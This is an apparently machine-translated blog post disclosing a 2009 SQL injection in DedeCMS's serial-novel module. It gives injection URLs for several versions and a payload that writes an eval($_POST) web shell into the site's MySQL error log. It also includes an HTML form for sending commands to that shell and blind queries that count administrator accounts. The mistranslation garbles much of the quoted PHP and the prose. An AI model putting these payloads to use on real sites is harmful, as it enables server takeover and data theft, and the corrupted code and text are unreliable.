DEDECMS ficció de sèrie del mòdul 0 Dies 0 dies-els articles Pis, La magic_quotes_gpc, mybooks.php, mysql_error_trace.inc, mysql_error_trace.php, story_books.php, story_list_chapter.php, story_list_content.php, story

DEDECMS 0 Dies la ficció de sèrie del mòdul

Aquesta entrada va ser publicada el 22 setembre 2009

: St0p
Pot ser reproduïda, però per favor, indicar l'origen de http://www.st0p.org

A causa que el forat apareix a la novel · la del mòdul DEDECMS en sèrie, sempre que la novel · la serialitzada eleccions DEDECMS instal · lar el mòdul, llavors aquest problema, algunes versions en les condicions que permeten que vostè pot obtenir directament SHELL Oh.
st0p de resum sobre l'ús de les condicions de condicions: quan la configuració del servidor PHP, magic_quotes_gpc = Off
Condició 2: l'objectiu del sistema d'instal · lació DEDECMS ficció de sèrie del mòdul es selecciona

En primer lloc, donem una ullada als articles 5.1 Condomini, el canal de la novel · la i els articles 5.3.1 Condomini Condomini articles 5.5, perquè el seu arxiu al directori de membres, l'arxiu és un membre de Condominio / story_books.php els articles 5.3.1 i 5.5 articles Condomini arxiu Al directori del llibre, l'arxiu és un llibre / story_books.php
A causa del seu interior un codi similar, així que, anem a veure en la línia story_books.php 01:00

  <? Php
 ......
 ! isset ( $action ) ) $action = '' ; //检测变量$action是否存在，不存则则给初使值 Si $ action ='' (isset ($ acció)!); / / La detecció de la variable $ action, si no existeix, llavors el valor inicial
 ! isset ( $catid ) ) $catid = 0 ; //检测变量$catid是否存在，不存则则给初使值 si $ catid = 0 (isset ($ catid)!); / / prova de la variable $ catid existeix no existeix, és aviat per fer que el valor
 ! isset ( $keyword ) ) $keyword = "" ; //检测变量$keyword是否存在，不存则则给初使值 si $ paraula = "" (isset ($ paraula)!); / / la detecció de la variable $ paraula existeix, no existeix, llavors el valor inicial
 ! isset ( $orderby ) ) $orderby = 0 ; //检测变量$orderby是否存在，不存则则给初使值 si $ 1 orderby = 0 (isset ($ orderby un!)) / / detectar la variable $ orderby un si no existeix, és aviat per fer que el valor
 ......
 $catid != 0 ) $addquery .= " And (b.bcatid=' $catid ' Or b.catid=' $catid ') " ; if ($ catid = 0!) $ addquery = "I (b.bcatid = $ catid 'O b.catid = $ catid')".; 
 / / Variable $ catid no és 0, no directament a la addquery $ catid a $ verificada
 $keyword != "" ) $addquery .= " And (b.bookname like '% $keyword %' Or b.author like '% $keyword %') " ; ($ Paraula = "") si $ = addquery. "I (b.bookname com '% $ paraula%' O b.author com '% $% paraula clau')";
 / / Variable $ paraula clau no està buida, és una paraula clau per realitzar directament $ $ addquery no verificat
 " $ Query = " 
     Seleccioneu b.id, b.catid, b.bookname, b.booktype, b.litpic, b.postnum, b.senddate, b.ischeck, c.id com c.classname Cid, De # @ __ story_books b 
     unir-se a l'esquerra # @ __ story_catalog c en c.id b.catid = on = {$ MemberID cfg_ml-> M_ID} i b.id> 0 $ $ orderby addquery 
  ";
 / / Generar la declaració
 ......
 >

El codi de dalt per veure, Ga, catid i la paraula clau no hi ha cap filtre, així que això és causat per la injecció, però sembla que constitueixen la declaració és una mica de problemes, això no és en aquest article es descriu l'abast del nostre petit exemple provi les accions següents si us plau prova després de l'aterratge, el compte de registre directe, d'inici de sessió, a continuació, introduïu l'adreça

Articles Condomini 5/1

Prova catid variable a la següent adreça
http://st0p:88/dedecms51/member/story_books.php?catid=10 ') o (' st0p '=' st0p

Prova de dues variables clau, a l'adreça
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p% 'o c.classname com' st0p%

Els articles 5,31 Condomini

Prova catid variable a la següent adreça
http://st0p:88/dedecms53/book/story_books.php?catid=10 ') o (' st0p '=' st0p

Prova de dues variables clau, a l'adreça

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% 'o c.classname com' st0p%

Articles Condomini 05/05

Prova catid variable a la següent adreça
http://st0p:88/dedecms55/book/story_books.php?catid=10 ') o (' st0p '=' st0p

Prova de dues variables clau, a l'adreça
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p% 'o c.classname com' st0p%

Veure les tres versions, la versió posterior de DEDECMS injectar els límits de la declaració del injectat provar-ho, no st0p parlar.
De fet, sempre que el canvi de permís per aconseguir alguns punts, recordi que l'error de MySQL escrit en l'error de PHP sufix de fitxer de registre, 5,1 no sembla funcionar, alguns sense pegat 31/05, llavors, si el pegat igual que el sufix 05/05 canviar el seu nom per l'INC l'escrit en la paraula cavall, però no podia utilitzar. . . Pobre ah, si, fins i tot la detecció precoç és a través de la mort. . .

Els articles 5,31 Condomini
include / dedesql.class.php arxiu

  ......
	 / Error / Mostra la informació a l'enllaç de dades
	 $msg ) la DisplayError funció ($ msg)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ; //这里是PHP后缀 $ ErrorTrackFile = dirname (__ file__) '/ .. / o dades mysql_error_trace.php';. / / Aquí està el sufix PHP
		 '' ; $ EMSG ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ EMSG = "<div <h3> DedeCMS Advertència d'error </ h3> \ r \ n".;
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ EMSG = "<div> Class =" href = 'http://bbs.dedecms.com' thickbox "target = '_blank' Suport Tècnic style = 'color: xarxa'>:. Http :/ / bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ EMSG = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n".;
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ EMSG = "<div Style='color:blue'> <br /> pàgina d'error: <font color='red'>" ... $ This-> GetCurUrl () "</ font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ EMSG = "clau informacions d'error: {$ msg} </ div> \ r \ n".;
		 "<br /></div></div> \r \n " ; $ EMSG = "<br /> </ div> </ div> \ r \ n".;

		 ; echo $ EMSG;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; 'Pàgina:' $ Savemsg = $ this -> GetCurUrl () "\ r \ n Error:". $ Msg, ..
		 / / Desa el registre d'errors de MySQL
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = fopen @ ($ errorTrackFile, 'a');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fwrite ($ fp, '<'. 'Php'. "\ R \ n / * \ r \ n {$ savemsg} \ r \ n * / \ r \ n?" ".> \ R \ n" );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

Els articles 5.5 i pegats Condomini
include / dedesql.class.php arxiu

  ......
	 / Error / Mostra la informació a l'enllaç de dades
	 $msg ) la DisplayError funció ($ msg)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.inc' ; //后缀变成INC了 $ ErrorTrackFile = dirname (__ FILE__) '/ .. / data / mysql_error_trace.inc';. / / Sufix es INC
		 file_exists ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ) //如果mysql_error_trace.php存在，删除文件 if (file_exists (dirname (__). FILE__ '/ .. / dades o mysql_error_trace.php')) / / si mysql_error_trace.php existeix, esborrar arxius
		 {
			 ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ; @ Unlink (dirname (__ FILE__) '/ .. / o dades mysql_error_trace.php.);
		 }
		 '' ; $ EMSG ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ EMSG = "<div <h3> DedeCMS Advertència d'error </ h3> \ r \ n".;
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ EMSG = "<div> Class =" href = 'http://bbs.dedecms.com' thickbox "target = '_blank' Suport Tècnic style = 'color: xarxa'>:. Http :/ / bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ EMSG = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n".;
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ EMSG = "<div Style='color:blue'> <br /> pàgina d'error: <font color='red'>" ... $ This-> GetCurUrl () "</ font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ EMSG = "clau informacions d'error: {$ msg} </ div> \ r \ n".;
		 "<br /></div></div> \r \n " ; $ EMSG = "<br /> </ div> </ div> \ r \ n".;

		 ; echo $ EMSG;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; 'Pàgina:' $ Savemsg = $ this -> GetCurUrl () "\ r \ n Error:". $ Msg, ..
		 / / Desa el registre d'errors de MySQL
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = fopen @ ($ errorTrackFile, 'a');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fwrite ($ fp, '<'. 'Php'. "\ R \ n / * \ r \ n {$ savemsg} \ r \ n * / \ r \ n?" ".> \ R \ n" );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

Llegir el codi de dalt, nosaltres l'entenem, 5.5 i 31/5 s'aplicaran pegats en això, no es pot utilitzar, es diu que al voltant de 5,31 pot prendre avantatge d'aquest mètode.
L'ús de mètodes

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% '* / eval ($ _POST [st0p]);?>

Hey. Perquè puguem obtenir un intèrpret d'ordres
Paraula de direcció per http://st0p:88/dedecms53/data/mysql_error_trace.php
Directe ja que presentin dades sobre la utilització de Condomini articles 5.5 és el mateix, sinó perquè el codi per fer front a, de manera que el generat per l'extensió d'arxiu INC, no serveix de res, el següent s'utilitza per enviar els codis HTML, només cal posar la taula de sota sola direcció que s'hi

  "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <DOCTYPE Html PUBLIC "- / / W3C / / DTD XHTML 1.0 Transitional / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 "http://www.w3.org/1999/xhtml" > Xmlns = <html "http://www.w3.org/1999/xhtml">
 <head>
 equiv = "Content-Type" content = "text/html; charset=utf-8" /> <Meta-http-Equiv = Contingut "Content-Type" = "text / html; charset = utf-8" />
 "author" content = "st0p,st0p.org" /> <meta Name = contingut "author" = "st0p, st0p.org" />
 st0p一句话提交</ title > <title> Paraula st0p presentat </ title>
 </ Head>

 <body>
 //st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--> <-! Http: / / st0p: 88/dedecms53/data/mysql_error_trace.php reemplaçat per la direcció ->
 "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php" > <form Id = nom de "form1" = Mètode "form1" = acció = "post" "http://st0p:88/dedecms53/data/mysql_error_trace.php">
   <p>
     <Label>
       "st0p" id = "st0p" cols = "45" rows = "5" > echo phpinfo ( ) ;</ textarea > <textarea Name = "st0p" id = "st0p" col = "45" files = "5"> fet phpinfo (); </ textarea>
     </ Label>
   </ P>
   <p>
     <Label>
       "submit" name = "button" id = "button" value = "提交" /> <input Type = name = "submit" "button" id = "button" = valor "Submit" />
     </ Label>
   </ P>
 </ Form>
 </ Body>
 </ HTML>

Per descomptat, el mòdul de la ficció serial, hi ha altres documents que també hi ha el mateix problema que hi ha diversos arxius de la següent
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php

Originalment es va pensar donat a conèixer aquesta 0day, Pensaments a l'atzar més que la intersecció dels amics de bestiar X punts, compartir informació, pel que va decidir emetre, després d'alguns menys greix. . .
Hi ha problemes que podem discutir en el meu BLOG!

Nota: Després de la publicació de l'article, va dir un amic després de llegir aquesta molt mal gust, perquè molts servidors de magic_quotes_gpc = En el cas, que no tinc intenció de discutir, però jo vaig escriure la pregunta és existeix, només vol utilitzar algunes condicions 5,31 i 5,5, en la versió 5.1 del primer pla pot afegir llibres de sèrie, algunes d'elles amb filtres d'algunes paraules clau de SQL, així que és com cap manera, hem de detectar la versió 5.1 no són la gestió de diversos membre, per exemple.
1, volem afegir un llibre serialitzat
2, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') o (select count (*) de dede_admin)> 0 o (' st0p '=' st0pa

3, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') o (select count (*) de dede_admin) 1> o (' st0p '=' st0pa

Ga, la conclusió anterior és el nombre d'administrador 1. . .
Exemple per citar això, de fet, la vulnerabilitat pot ocórrer en qualsevol moment, però es preocupen pel medi ambient és diferent, diferents efectes i per fer un bon ús de, i les coses de vegades de mal gust també resultar fructífer. . .